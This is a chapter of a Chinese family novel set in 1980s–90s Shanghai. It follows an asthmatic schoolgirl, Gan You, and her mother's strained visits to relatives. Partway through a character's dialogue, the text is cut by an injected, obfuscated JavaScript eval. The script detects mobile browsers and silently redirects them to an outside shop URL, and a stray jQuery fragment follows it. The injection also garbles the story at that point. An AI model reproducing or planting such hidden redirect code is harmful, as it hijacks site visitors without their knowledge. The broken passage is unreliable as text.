刚入秋的上海，暑气还恋栈着不肯走。弄堂里飘荡着樟脑丸和栀子花将谢未谢的混合气息。对甘悠来说，这气息里还混杂了另一种全新的味道——学校的味道。
这味道由粉笔灰、新书本的油墨、水泥操场被太阳晒出的微尘气，以及从门卫室那扇小窗里飘出的、淡淡的茶叶味共同构成。每天下午三点半，放学铃声像一道敕令，孩子们便如出笼的雀儿，呼啦啦涌出墨绿色的校门。甘悠不属于那片欢腾的潮水。她背着那个浅绿色的书包，脚步不疾不徐，拐进校门旁边那间小小的、光线有些昏暗的门卫室。
“张爷爷，我来了。”她熟门熟路地把书包放在靠墙那张掉漆的长木椅上，那椅子是张爷爷给她划定的“专座”。
门卫张老伯从老花镜上方抬起眼皮，满是皱纹的脸上绽开一个温和的笑：“哟，悠悠来啦。今朝哪能？气喘好点伐？”
“蛮好。”甘悠在长椅上坐下，从书包侧袋掏出自己的浅绿色兔子水壶，拧开，小口喝水。水是早上西贝灌好的温水，这会儿已经凉了，但甘悠习惯了。
张老伯点点头，把手伸向桌上那包拆开的“飞马”香烟，手指碰到烟盒的瞬间，顿了顿，又收了回来，转而拿起那个搪瓷大茶缸，咕咚喝了一大口浓茶。他记得西贝送孩子来时，特意叮嘱过，悠悠闻不得烟味，会呛咳。老头记在心里了。这间小小的门卫室，成了甘悠放学后临时的、安全的避风港。她在这里写作业，看小人书（有时张爷爷会从家里带几本旧的来），或者就安静地坐着，看窗外梧桐树的叶子一片片变黄，飘落。
学校上午两节课后的课间餐，是另一个微型的、带着甜香和失落的小小世界。
“发点心啦！”生活委员稚嫩的喊声，总能引起一阵小小的骚动。白色的搪瓷提篮里，有时是独立包装的动物饼干，有时是小圆面包，配上装在透明塑料袋里的、插着吸管的牛奶或豆奶。孩子们欢呼着，迫不及待地撕开包装，教室里瞬间充满了“咔嚓咔嚓”的咀嚼声和满足的喟叹。
甘悠也领到一份。但她只能拆开饼干的包装，小口小口地咬着。旁边同桌小美“噗”一声戳开豆奶袋，吸得吱吱响，带着豆腥味的甜香飘过来。甘悠目不斜视，专心吃饼干，然后拿出自己的兔子水壶，喝一口温水，把嘴里干巴巴的饼干屑送下去。牛奶？豆奶？那都是“生冷”的东西，妈妈说了，碰不得。失落吗？有一点，但不多。更让她心里像被小爪子轻轻挠了一下的，是窗外操场上越来越响亮的集合哨声。
“体—育—课—”
这三个字，对大多数孩子是天籁，对甘悠，却像一道温柔的禁令。
西贝在开学前，几乎磨破了嘴皮子。她找校长，找班主任林老师，最后还特意在放学后，等到了那位皮肤黝黑、声音洪亮的体育老师王老师。她把那叠厚厚的病历摘要又拿出来，翻到医生用红笔标出的注意事项，语气近乎哀求：“王老师，不是我们娇气，是真的不能跑，不能跳，一剧烈运动，气管就跟拉风箱一样，立刻就喘不上气，要送医院的……我们悠悠很乖的，就让她在教室看看书，行吗？责任我们自己负，保证不给学校添麻烦……”
王老师看着眼前这个瘦削憔悴、眼神却异常执拗的母亲，又看看她身边那个白白净净、睁着大眼睛安静看着自己的小女孩，最终叹了口气，挠挠头：“行吧，那就在教室待着。但别的课……别的课可不能再这样了啊。”
于是，每周两节的体育课，就成了甘悠的“教室独处时光”。她通常利用这段时间飞快地做完大半作业。当操场上传来阵阵口号声、嬉笑声、球类拍打地面的“砰砰”声时，她就会停下笔，不由自主地走到窗边。
操场真大啊。阳光毫无遮挡地洒下来，把塑胶跑道（虽然是旧的）照得发亮。同学们像一个个充满活力的小点，奔跑，跳跃，追逐。女生们在跳皮筋，马尾辫一甩一甩；男生们在踢足球，大呼小叫。冯佳那个皮猴子，像阵风一样在人群里钻来钻去，笑声隔得老远都能听见。甘悠的手指无意识地抠着窗框的木屑，心里那点被饼干和温水勉强压下去的渴望，又细细密密地泛上来。她不是不想动，是不能动。那种身体被封印，而灵魂渴望飞翔的割裂感，在每一次体育课达到顶点。
“悠悠，又在发呆看操场啊？”同桌小美体育课中途跑回来喝水，脸颊红扑扑的，额发被汗粘住，“外面可好玩了！王老师教我们丢沙包，差点打到冯佳的头，哈哈哈！”
甘悠收回目光，对她笑了笑：“嗯，看到了。你玩得开心点。”
“你一个人在这里多没劲啊。”小美咕咚咕咚喝完水，用袖子一抹嘴，“哎，不过你妈妈说了你不能跑，也没办法。我走啦！”又像阵风似的跑了。
教室重新恢复空旷的寂静。只有远处隐约传来的哨声和欢叫，衬得这寂静更加深重。甘悠坐回座位，却没有继续写作业。她摊开图画本，拿起铅笔，开始画窗外那棵梧桐树，画操场上模糊跑动的人影，画蓝天，画阳光下飞扬的灰尘。线条有些笨拙，但很认真。仿佛这样，就能把那份无法参与的喧闹与生气，偷偷藏进自己的画里。
甘悠的人缘其实不差。只要不生病，在学校的时候，她总是笑眯眯的，见谁都能搭上两句话。幼儿园的老熟人冯佳自不必说，课间总爱从前排扭过头来，用各种稀奇古怪的问题逗她。还有汪甄，也是幼儿园同届不同班的，开家长会时，西贝和汪甄妈妈一聊，发现汪甄爸爸和甘英嵘竟在同一个机械系统，虽不同厂，也算有了点渊源。两家大人熟了，两个孩子在学校自然也亲近些。
“悠悠，走，上厕所去！”汪甄常常在课间跑来，拉起甘悠的手。小学女生的友谊，似乎总与“结伴上厕所”密不可分。两个小姑娘手拉手，穿过嘈杂的走廊，一路上汪甄叽叽喳喳说着班里谁和谁吵架了，谁买了新橡皮。甘悠大多时候安静地听，偶尔插一句，眼睛弯成月牙。厕所门口挂着洗得发白的蓝布帘子，甘悠总会想起开学第一天那个“红皮鞋乌龙”，脸上微微一热，赶紧低头钻进去。这种细碎的、平凡的陪伴，像一点点星光，照亮了她因为时常缺席而显得有些孤独的校园生活。
然而，病魔并未因她上了小学就格外开恩。感冒、咳嗽、哮喘，像三个轮番登场的恶客，顽固地纠缠着她。一年级的第一个学期，她差不多有一半时间是在家里那张棕绷床上度过的。
咳嗽是最磨人的。常常是夜里开始，先是喉咙发痒，接着便是止不住地、一阵紧似一阵的干咳，咳到后来满脸通红，眼泪直流，胸口和肋骨牵扯着生疼，仿佛要咳散架。西贝也几乎整夜不能安睡，抱着她，一下下拍着她的背，喂温水，用热水毛巾敷她的前胸后背，眼里布满血丝。
家里那个朱红色的、带盖的搪瓷痰盂罐，成了甘悠病中最重要的“伙伴”。西贝考虑得极其周全：冬夜寒冷，从被窝里爬起来去几步之遥的卫生间，那一瞬间的冷热交替对大人都够呛，何况是哮喘儿。于是，痰盂罐就放在床头柜边上。甘悠咳得厉害时，西贝就扶着她，对着痰盂罐咳痰，又或者直接上个小号。平日里，它也是夜间方便的“御用器具”。甘悠并不觉得这有什么不体面，在喘不过气的痛苦面前，一切方便她、让她少受罪的安排，都是好的。
有一次，她咳得实在太厉害，痰里隐约有点血丝。西贝的脸瞬间白了，抱起她就要去医院。甘悠却拉住妈妈的衣角，声音嘶哑微弱：“妈妈……明天……明天还要上学……我作业……还没写完……”西贝的眼泪“唰”就下来了，紧紧抱住女儿瘦小的、因为咳嗽而不停颤抖的身体，哽咽道：“不上了，咱们不上了，悠悠乖，身体要紧……”西贝立马拿出常备药箱，抗生素头孢和激素强的松一起给甘悠喂服。
那晚，甘悠在剧烈的咳嗽和药物的作用下昏昏沉沉睡着，西贝就坐在床边的小凳上，握着女儿滚烫的小手，望着窗外沉沉的夜色，听着她即使在睡梦中也不安稳的、拉风箱似的呼吸声，一夜无眠。晨光微露时，她轻轻起身，去倒痰盂，刷洗，消毒，动作轻柔而熟练，仿佛在进行一项神圣而悲伤的仪式。
然而，只要身体稍有好转，回到学校，甘悠身上那种属于孩子的、蓬勃的生命力又会顽强地冒出头来。她喜欢交朋友，尽管她心里认定的“好朋友”，在对方那里可能只算“玩得还行的同学”。但这并不妨碍她一次次主动释放善意。
那是一节难得的、天气晴好的体育课。甘悠照例在教室做完了所有作业，甚至预习了下一课的生字。窗外的阳光和嬉闹声实在太诱人。她扒着窗户看了好久，看到同学们自由活动，跳皮筋的，丢沙包的，拍纸牌（一种印着各种图案的硬纸片，用手拍地，利用风力掀翻对方的牌）的……她的目光被教室后面空地上一小圈围着的同学吸引了，是拍纸牌。
鬼使神差地，她放下笔，轻轻走出了教室。
空地上，同班的殷豪正大杀四方，他手里拿着一沓崭新的“圣斗士星矢”纸牌，下巴抬得老高：“还有谁？嗯？还有谁来？”几个男生面面相觑，都有些怯了。殷豪家里条件好，零花钱多，买的纸牌又新又硬，赢面很大。
“我……我来试试，好伐？”一个细细的、带着点犹豫的声音响起。
众人回头，见是甘悠，都愣了一下。殷豪更是嗤笑一声：“病秧子，你来凑啥热闹？等会儿咳起来，可别赖我。”
甘悠没说话，只是从自己书包侧袋里掏出一个小铁皮盒子，打开，里面是十几张有些旧、但保存完好的纸牌，图案是“黑猫警长”和“葫芦娃”，是她用攒下的零花钱和跟冯佳换来的。
“玩玩嘛，”她仰起小脸，语气平静，“输了，这张‘黑猫警长’给你。”她指了指其中一张最炫的。
殷豪眼睛一亮：“当真？”
“嗯。”
“行！输了可不准哭鼻子，也不准告老师！”殷豪来了劲，觉得这是白捡的便宜。
两人蹲下，周围立刻围拢了一圈看热闹的同学。甘悠先攻。她伸出小手，看了看地面（有点灰尘），又看了看殷豪那张放在地上的“星矢”，深吸一口气（很轻，怕引发咳嗽），手腕轻轻一抖，带着一股巧劲，手掌在离纸牌还有一寸高的地方猛地拍下！
“啪！”一声轻响，气流旋动。殷豪那张“星矢”晃了晃，竟然微微翘起了一个角！
“哇！”围观的同学发出低呼。殷豪也瞪大了眼。
甘悠没停，看准角度，又是轻轻一拍。“星矢”纸牌被气流带得翻了个面！
“赢了！”有孩子喊出来。
殷豪脸涨红了：“不算！你……你刚才那下是瞎猫碰上死耗子！再来！”
第二局，甘悠又赢了。她拍牌的动作看起来并不大力，甚至有些轻飘飘的，但角度和时机总是抓得极准，仿佛能感受到那微弱气流的走向。第三局，第四局……周围聚集的人越来越多，连一些跳皮筋的女生都跑过来看。惊呼声、起哄声此起彼伏。
“甘悠！加油！”
“殷豪，你行不行啊！”
“哇！又翻了！太厉害了！”
甘悠的小脸因为兴奋和专注而泛起红晕，眼睛亮得惊人，完全忘了自己“病秧子”的身份，全身心沉浸在那种掌控微末气流、赢得胜利的奇妙感觉里。她似乎在这方面有种天生的、敏锐的直觉。
当殷豪手里最后一张、也是他最珍视的“黄金圣斗士”被甘悠用一个极其刁钻的角度拍翻时，全场静了一瞬，随即爆发出更大的欢呼！
殷豪看着自己空空如也的手，又看看甘悠面前那一小摞赢来的、崭新的“圣斗士”纸牌，脸上一阵红一阵白，半天，才梗着脖子，憋出一句：“哼！今天……今天是东南风！帮侬忙！下次……下次再比过！”说完，抓起空空的书包，挤出人群跑了。
“悠悠，你太厉害了！”
“你怎么做到的？教教我！”
“你是‘拍牌王’啊！”
同学们围着她，七嘴八舌。甘悠有些不好意思地笑了，把赢来的牌整理好，想了想，抽出那张最闪亮的“黄金圣斗士”，追上了还没走远的殷豪。
“还给你。”她把牌递过去。
殷豪愣住了，看着她。
“玩玩嘛，”甘悠又说，笑容干净，“你的牌好，赢得多是应该的。这张你最喜欢的，还给你。其他的……我能不能用它们跟你换几张我没有的‘黑猫警长’？”
殷豪看着她认真的眼睛，脸忽然没那么红了，他一把抓过那张“黄金圣斗士”，胡乱塞进口袋，嘟囔道：“随……随你便！”然后飞快地跑开了，但背影似乎没那么气急败坏了。
甘悠捏着换回来的几张“黑猫警长”，心里有种饱饱的、快活的充实感。这一刻，她不是被照顾的病号，不是体育课的旁观者，她是凭自己“本事”赢得注意和一点点尊敬的“甘悠”。下课铃响了，这短暂的高光时刻结束了，但那份微甜的、属于胜利的滋味，却久久留在舌尖。
与甘悠在病痛和学业间挣扎、西贝在工作和照顾女儿间疲于奔命形成鲜明对比的，是永嘉路老公房四楼那个总是人声鼎沸、让西贝感到熟悉又疏离的“大本营”。每隔一两周的周日，只要甘悠身体尚可，西贝便会带着女儿回去。这更像一种必须履行的责任，而非充满暖意的归巢。
那个周日下午，西贝在永嘉路四楼那个狭窄的卫生间里，挽着袖子奋力搓洗孙兰积攒的被套，肥皂沫和水溅得到处都是。甘悠安静地坐在客厅角落一张小凳子上，看着一本从家里带来的旧《小朋友》杂志。客厅不大，却被孩子们的喧闹填得满满当当。
比甘悠大两岁、已经上三年级的韩璐，穿着一身从“华亭路”买来的、时下最流行的粉蓝色镶白边运动服，脚上是崭新的白色“回力”鞋，正挥舞着一个鸡毛掸子当宝剑，追着比甘悠小一岁、但同样在永嘉路长大的易蕾满屋跑。“蕾蕾接招！我是白衣女侠！”易蕾表面文静，跑起来却灵活得像只猫，边笑边躲，顺手抓起沙发上一个毛线团扔回去：“看我暗器！”比甘悠小四岁的西召，刚学会跑稳当，咯咯笑着跟在两个姐姐后面当小尾巴，激动得小脸通红。
孙兰坐在那张老旧的藤椅上，手里织着毛线，眼睛却时刻追着三个孙辈，脸上是毫不掩饰的宠溺，尤其是看着西召时，眼神柔得能滴出水来。“璐璐，慢点儿跑，看撞着弟弟！蕾蕾，小心脚下凳子！召召，来，到姥姥这儿来，姥姥给你剥橘子吃。”
西召被孙兰搂在怀里喂了一瓣橘子，乌溜溜的眼睛却还盯着打闹的姐姐们。韩璐和易蕾闹累了，停下来嘀嘀咕咕商量着什么，不一会儿，韩璐跑进她和妈妈西敏的房间，翻出一件她嫌小了的、带蕾丝花边的旧连衣裙，易蕾则从抽屉里找出孙兰一条不用的旧纱巾。
“召召，来，姐姐给你打扮打扮，当新娘子！”韩璐眼睛发亮，拿着裙子就往西召身上套。西召扭着身子不乐意，被易蕾从后面轻轻抱住，韩璐麻利地把裙子给他套上，又用纱巾给他盖在头上。西召懵懵懂懂，但见姐姐们笑得开心，也跟着傻笑起来，穿着裙子戴着纱巾，在客厅里蹒跚学步，活脱脱一个滑稽的小玩偶。孙兰和一旁的尹雅都笑得前仰后合，尹雅还赶紧去找了管快用完的旧口红，在西召眉心点了个红点。
“哎哟，咱家召召真俊！是个小美女！”孙兰乐不可支，搂过西召亲了一口。
甘悠从杂志上抬起眼，安静地看着这一幕。她没有笑，只是静静看着。客厅里的热闹和欢笑，像一层温暖的、有弹性的膜，包裹着韩璐、易蕾和西召，却将她轻柔地隔在外面。她不在这里住，无法像易蕾那样自然地融入韩璐主导的游戏，也无法像西召那样成为所有人目光的焦点。她只是偶尔来访的、安静的旁观者。她身上是妈妈洗得发白的旧格子衬衫和藏青裤子，脚上是那双已经有些磨损却依然擦得干净的“胜利小红鞋”。
西贝在卫生间听着外面的欢声笑语，用力搓着被套，冰凉的肥皂水让她手指麻木。她拧干水，端着沉重的洗衣盆走到小小的阳台上去晾晒。经过客厅时，孙兰的目光才扫过大女儿，落到角落里的甘悠身上，眉头习惯性地微蹙，语气平淡：“悠悠今儿气色看着还行？没再犯喘吧？”
“这两天还成，妈。”西贝替女儿回答，声音有些干涩，带着挥之不去的疲惫。
“那就好。这孩子，身子骨弱，你平时得多精心。”孙兰说完，注意力立刻又被穿着裙子、摇摇晃晃扑过来的西召吸引过去，“哎哟，我的小宝贝儿，慢点儿！”
甘悠仿佛没听见外婆的话，头埋得更低了些，只有握着杂志边缘的手指收紧了些。韩璐拉着易蕾从她面前跑过，去抢西召头上的纱巾，带起一阵风。易蕾经过时，脚步顿了一下，看了眼甘悠手里的杂志，似乎想说什么，但被韩璐一拉，又笑着跑开了。
尹雅一边笑着看孩子们闹，一边对孙兰说：“妈，前天二姐（西桦）来电话了，说了好久。”
孙兰立刻关心地问：“桦桦说啥了？在北京好不好？工作顺心不？”
“好着呢，听声音精神头挺足。”尹雅接过话头，“二姐说，他们单位去年分了间小房子，虽然还是小，但总算是个独立的窝了。她说……等今年下半年稳定稳定，就打算把蕾蕾接回北京去上学。说老让孩子跟咱们这儿，也不是长久之计，而且北京的教育条件，到底还是不一样。”
孙兰听了，沉默了一会儿，看着正和韩璐头碰头不知道嘀咕什么的易蕾，眼里满是不舍：“接回去啊……也是，孩子总得跟着爹妈。就是……这一走，又不知道多久才能见着了。蕾蕾这孩子，懂事，学习也不用操心，我是真舍不得。”
“二姐也说了，寒暑假肯定让蕾蕾回来。”尹雅宽慰道，“她还说，多亏了爸妈和家里帮忙照看这几年，她跟姐夫才能在北京安心拼事业。等蕾蕾过去安顿好了，接您跟爸去北京玩，看看天安门，爬爬长城。”
孙兰叹了口气，没再说什么，只是把西召搂得更紧了些。这消息让客厅的热闹蒙上了一层淡淡的、离别的预感。韩璐似乎听到了只言片语，跑过来拉着易蕾的手：“蕾蕾，你要回北京了？那是不是以后就没人跟我玩了？”
易蕾小声说：“我妈说……可能下学期。”
“北京有啥好的，上海多好玩啊！”韩璐嘟起嘴，但很快又被新玩具吸引，这事儿对她来说，似乎还没手里新得的卡通贴纸重要。
西贝在阳台上晾晒被套，老式的晾衣竿有些高，她踮着脚，有些吃力。客厅里，孙兰一边看着孩子们闹，一边像是想起了什么烦心事，对着阳台方向提高了声音，带着浓重的山东口音：“西敏那个不省心的，可把你爸气坏了！好好的图书馆工作，多少人求不来的清闲铁饭碗，她倒好！三天两头请假，今天头疼明天脑热，去了统共不到半年，正经上班不知道有没有俩月！前儿个，自己跑去找领导，说不干了！说那地方‘憋屈’，‘不是人待的’！你说说，这不是作吗？”
西贝将被套用力甩开，挂上铁丝，发出“啪”的一声轻响。她没回头，只是问：“那她现在……？”
“现在？”孙兰的音调拔得更高，充满了气恼和无奈，“现在可了不得了！成天跟她那帮子不上班的太太们混在一起，不是逛街就是打麻将。昨儿回来，还跟你爸和我大谈什么‘生意经’，说要开饭店！开什么‘海上明珠’！说得天花乱坠，什么‘坐着收钱’，什么‘当老板娘’……就她？图书馆坐班都嫌累的人，开饭店？那得起早贪黑，应付三教九流，她吃得了那苦？我看她是让韩杰的钱烧昏头了！”
说来也巧，仿佛为了印证孙兰的话，门口传来钥匙转动的声音，紧接着是浓郁的花香香水味和一阵清脆的说笑声。西敏穿着一身崭新的枣红色薄呢收腰连衣裙，外罩一件米白色短风衣，头发烫着时髦的大波浪，脸上化着精致的妆，手里拎着好几个印着“上海第一百货”、“华联商厦”字样的漂亮纸袋，满面春风地走了进来。她身后还跟着一个同样打扮入时、烫着卷发的年轻太太，是她的麻将搭子兼逛街伙伴丽华。
“妈，我回来了！呦，大姐也在，干活呢？”西敏声音娇脆，带着惯有的撒娇腔调，把手里的大包小包随意放在凳子上。
丽华也笑着打招呼：“阿姨好，西贝姐好。你们家真热闹。”
孙兰看着一地纸袋，眉头皱得更紧：“又去逛街了？这大包小包的，又买了多少？钱不是钱啊？”
“妈~！”西敏拖着长音，拿起一个纸袋，从里面掏出一条亮闪闪的、带着繁复花纹的羊毛围巾，“看，正宗的‘雪莲’牌，今年最流行的花色！给您买的，暖和！”又拿出一个盒子，“这是给爸的洋酒，听说是外国牌子，老爸喝了肯定提神醒脑！璐璐，过来，看妈妈给你买什么了？”
韩璐欢呼着跑过来。西敏献宝似的拿出一件大红色的、镶着金线和小亮片的羊毛衫，还有一双崭新的银色小皮鞋。“试试，喜不喜欢？妈妈在‘蓝棠’买的，最新款式！”
韩璐眼睛发光，立刻把新衣服往身上比划，小脸上满是兴奋和骄傲。易蕾也好奇地凑过来看。西敏又掏出一盒包装精美的进口巧克力，塞给易蕾和眼巴巴望着的西召：“来，吃糖！吃巧克力！丽华阿姨从华侨商店带来的，外面可买不着。”
甘悠依然坐在角落，看着韩璐雀跃地试穿新衣新鞋，看着易蕾和西召分食那盒看起来就很贵的巧克力。她低下头，继续看杂志，只是很久都没翻动一页。因为甘悠知道哮喘的自己不能碰甜食，西贝停下了擦桌子的动作，看着妹妹和侄女，脸上没什么表情，只是眼神黯了黯，然后更用力地擦拭着桌面一处看不见的污渍。
丽华羡慕地说：“西敏，还是你福气好，韩杰能干，舍得给你花钱。瞧把这小璐璐打扮得，跟小公主似的。”
西敏得意地一笑，在孙兰旁边的椅子坐下，翘起腿，从小皮包里拿出小镜子照了照，语气随意又带着点自得：“女人嘛，就得对自己好点。趁着年轻，该穿穿，该花花。妈，您别老念叨，那破图书馆工作有什么好留恋的？一个月几十块钱，够干嘛的？连条像样的裙子都买不起。现在时代不同了，妈，得有点经济头脑！”
她说着，兴致勃勃地跟丽华分享起今天的收获：“哎，丽华，你看中的那件‘大地’风雨衣，后来买了没？我跟你说，‘人立’的衬衫才叫好，料子挺括……中午我们在‘德大’吃的那道‘葡国鸡’，味道是真不错，就是价钱辣手。不过环境是好啊，请人谈事有面子。我以后开饭店，就得照那个档次来……”
孙兰听着小女儿和朋友的对话，全是衣服、吃食、价钱，太阳穴突突地跳，忍不住打断：“开饭店开饭店，你当是逛百货公司买衣服呢？说得轻巧！你大姐在厂里医务室忙一天，挣的是辛苦钱、踏实钱！你倒好，图书馆的清福不享，净想着些虚头巴脑的！”
西敏正说到兴头上被打断，脸上有些挂不住，尤其是当着朋友和姐姐的面。她撇了撇嘴，那股子不服输的劲头上来了：“妈，您就是看不起我！大姐是踏实，可踏实能挣大钱吗？能想买啥就买啥吗？开饭店是事业！是经营！我有本钱，请人做事就好了呀，为什么非要自己苦哈哈的？韩杰都说了，只要我想做，他支持！”她说着，眼风似有若无地扫过西贝，“人呐，要懂得用脑筋，用钞票生钞票，那才叫本事。苦干，那是老黄历了。”
丽华在一旁有点尴尬，忙打圆场：“阿姨，西敏也是想干点事。现在政策允许，有机会试试也挺好……”
“试？拿真金白银去试？”孙兰更来气了，连连咳嗽了几声。
西敏赶紧给母亲拍背，语气软了点，但话却没松口：“好了好了妈，您身体不好，可别生气，我不跟您争。丽华，咱回头再聊。妈，晚上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621391|206185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我不在家吃了，韩杰几个深圳的朋友过来，在‘红房子’摆了一桌，我得去作陪。人家那边，生意做得才叫大，我得去多学学。”她起身，又嘱咐韩璐：“璐璐，乖乖写作业，想要啥跟妈妈说。”然后对丽华说：“走吧，陪我去做个头发，晚上见人得精神点。”两人又像一阵香风似的飘走了，留下客厅里弥漫的香水味、新衣服的纤维味，和一种说不清的浮华气息。
韩璐已经迫不及待地换上了新毛衣和新皮鞋，在并不宽敞的客厅里走来走去，享受着新衣服带来的快乐。易蕾也换上了韩璐一件半新的、但依然很漂亮的毛衣外套，两个小姑娘头碰头，比较着衣服上的花纹。
这时，一直被忽略的西召大概是玩腻了，也可能是水喝多了，突然扭着小身子，嘴里含糊地嘟囔着“嗯嗯”，小脸憋得有点红。尹雅一看就明白了：“哎哟，要拉臭臭了！快，痰盂罐！”
家里虽然煤卫独用，但西召还小，夜里和白天有时为了方便，还是用痰盂罐。尹雅赶紧去卫生间把那个朱红色的搪瓷痰盂罐拿出来，放在客厅角落。孙兰也起身帮忙，给西召脱裤子。
大人们的注意力暂时被吸引过去。西召坐在痰盂罐上，开始努力。韩璐和易蕾捂着鼻子嘻嘻笑着躲远了一点，又忍不住好奇地张望。
谁也没想到，西召拉完后，没有立刻叫人，而是好奇地低头看着痰盂罐里的“成果”，然后，在所有人反应过来之前，他突然伸出小手，以迅雷不及掩耳之势，从里面抓了一小撮！
“哎呀！！”尹雅第一个看见，失声尖叫。
“召召！别动！”孙兰也吓得魂飞魄散，扑过去想阻止。
但已经晚了。西召把那撮黄澄澄、软乎乎的东西，径直塞进了自己嘴里！还咂巴了一下嘴，小脸上露出一种奇怪的表情。
“哇——！”下一秒，可能是味道太刺激，他张嘴大哭起来，粘稠的污物从嘴角溢出。
“吐出来！快吐出来！”孙兰脸都白了，手忙脚乱地去抠西召的嘴。
尹雅急得直跺脚，赶紧去找水。韩璐和易蕾吓得躲到了门后，瞪大了眼睛。西敏早已离开，不然定会嫌恶地跳开。
客厅里瞬间鸡飞狗跳，充满了孩子的嚎哭、大人的惊呼和呵斥、以及难以形容的气味。
西贝放下抹布，下意识地想去帮忙，但看着孙兰和尹雅已经围住了西召，她又停住了脚步。她转头，看向角落里的女儿。
甘悠不知何时已经站了起来，紧紧挨着墙壁，小脸惊讶的不可置信，一只手无意识地捂住了自己的嘴，另一只手攥紧了衣角，眼睛里充满了惊恐和不知所措。这个混乱又恶心的场面，显然吓到了她。
西贝立刻走过去，挡在女儿身前，轻轻揽住她瘦小的肩膀，低声道：“不怕，没事。”然后对乱成一团的孙兰说：“妈，我去打点温水，拿肥皂。”
她快步走进卫生间，接水，拿肥皂和毛巾。当她端着水盆出来时，孙兰已经强行给西召漱了口，但孩子还在哇哇大哭，身上、孙兰和尹雅手上都沾了些污迹，气味弥漫。
西贝默默地递上温水和肥皂。孙兰接过，胡乱地给西召擦洗，脸色很不好看，不知是急的还是气的。尹雅一边帮忙，一边数落西召：“你这熊孩子！怎么什么都往嘴里放！脏死了！”
好不容易收拾得差不多了，西召哭累了，抽抽噎噎地被尹雅抱去里屋换衣服。客厅里一片狼藉，痰盂罐还摆在角落，气味一时散不去。
孙兰疲惫地坐在藤椅上，喘着气，看着一地混乱，眉头紧锁，半晌没说话。刚才关于“开饭店”的争执和逛街归来的浮华，似乎被这突如其来的、带着强烈味道的插曲彻底打断了，但空气中弥漫的尴尬、烦躁和某种无形的隔阂，却比之前更加浓厚。
西贝默默地收拾着地上的水渍，把痰盂罐拿到卫生间去刷洗。甘悠亦步亦趋地跟在她身后，小手轻轻拽着她的衣角。
“妈妈，我们什么时候回家？今天能不能回家吃饭?”甘悠小声问，声音里带着一丝不易察觉的颤抖。
西贝刷洗痰盂罐的手顿了顿，冰凉的水流冲刷着污物。她抬起头，从卫生间狭小的窗口望出去，外面是上海典型的、拥挤的灰色屋顶和晾晒的万国旗。这里永远热闹，却也永远有着消化不完的琐碎烦恼和突如其来的尴尬混乱。
“是不是不舒服了？”问完西贝又说，“快了，等妈收拾完。”她低声回答，声音平静，却带着深深的倦意。
“妈，晚饭我们不吃了，菜都备好了，阿姨炒一下就行，我们先回去了，悠悠有点不舒服，明天还要上学，不能太晚。”
西贝牵着女儿离开时，天色已近黄昏。走下四层楼梯，走出那栋永远嘈杂的老公房，弄堂里的穿堂风吹来，带着饭菜香和煤烟味，也吹散了身上那股隐隐的、不愉快的气息。甘悠紧紧握着妈妈的手，小声说：“妈妈，我们家虽然小，但很干净。”
西贝低头看着女儿，女儿的眼睛在暮色中显得格外清亮。她心头那团郁结的闷气，忽然就散开了一些。她用力回握女儿的手。
“嗯，我们家很好。”
她们朝着体育馆二楼那个小小的、有些拥挤、但完全属于她们的“家”走去。身后的永嘉路，灯火次第亮起，照着的是一地鸡毛蒜皮和理不清的亲情账；而前方等待她们的，是必须小心翼翼维护的、虽然艰难却纯粹得多的相依为命。
偶尔，西敏会想起在体育馆二楼那个拥挤的一室户里，姐姐西贝每天骑着哐当作响的自行车，风雨无阻地接送那个病恹恹的女儿，回到家还要操持家务，忙得脚不沾地。对比自己逛街购物、饮茶吃饭的悠闲，西敏更觉得自己“开饭店”的想法简直英明极了——那才是人过的日子，是掌控自己生活、体现自己价值的“事业”。至于姐姐那种近乎燃烧自己的付出和挣扎，在她看来，多少有些“不会享福”和“不懂变通”的傻气。
姐妹俩的人生，在时代的岔路口，走向了越发迥异的轨道。一个在生活的泥泞里深一脚浅一脚，背负着沉重的责任踽踽独行；一个则试图踩着经济的浪尖，追逐着轻松致富的浮华幻梦。而命运的吊诡之处在于，它从不轻易让人如愿，无论是求安稳的，还是图快活的。
西贝的生活，确实如西敏所见的“忙碌”，甚至更甚。但她也在用自己瘦弱的肩膀，努力为女儿搭建一个更稳固、更舒适的小巢。
家里的卫生间实在太小，堆放杂物后更加转不开身。西贝看着那些舍不得丢又无处安放的瓶瓶罐罐、旧被褥，发了愁。一次闲聊中，厂里的技术员汪劲松（就是当年那个对她有过好感的退伍兵，如今已是车间骨干，两人保持着客气而友好的同事关系）听说了她的烦恼，主动说：“西大夫，这简单。在卫生间天花板上搭个轻钢龙骨，铺上防火板，就是个现成的吊柜。东西放上面，不占地方。”
西贝有些犹豫：“这……麻烦吧？还要打孔什么的。”
“不麻烦，我休息日过来，半天功夫就弄好。材料厂里废料间找找，差不多够。”汪劲松说得轻描淡写，眼神坦荡。
西贝知道他是热心，也确实被狭小的空间逼得没法，再三道谢后答应下来。那个周末，汪劲松果然来了，带着工具和一些材料。甘英嵘也在家，两个男人话不多，但配合还算默契。敲敲打打一下午，一个结实又整齐的吊柜就出现在了卫生间天花板下。空间顿时清爽许多。
“排水管也可以改一下，”汪劲松忙完吊柜，又看了看洗衣机的位置，“洗衣机放卫生间太潮，对机器不好，人也容易滑倒。阳台有下水口，我把管子接过去，洗衣机挪阳台，晒衣服也方便。”
这下连甘英嵘都点头：“这个主意好。”
又是小半天的工夫，下水管改造好，那台老旧的“水仙”牌单缸洗衣机，被安置在了朝南的阳台上。阳光透过玻璃晒着洗衣机外壳，也晒着旁边晾衣杆上悠悠的小衣服。西贝看着亮堂的阳台和整齐的卫生间，心里涌起一股久违的、对生活微微掌控的踏实感。
“谢谢，真的谢谢侬，小汪。”她真心实意地道谢，想留他吃饭。
汪劲松摆摆手，利落地收拾工具：“小事体，别客气。邻里邻居，同事之间，互相帮忙应该的。我走了，有事体再喊我。”他走得干脆，背影还是当年那个退伍兵的挺拔。
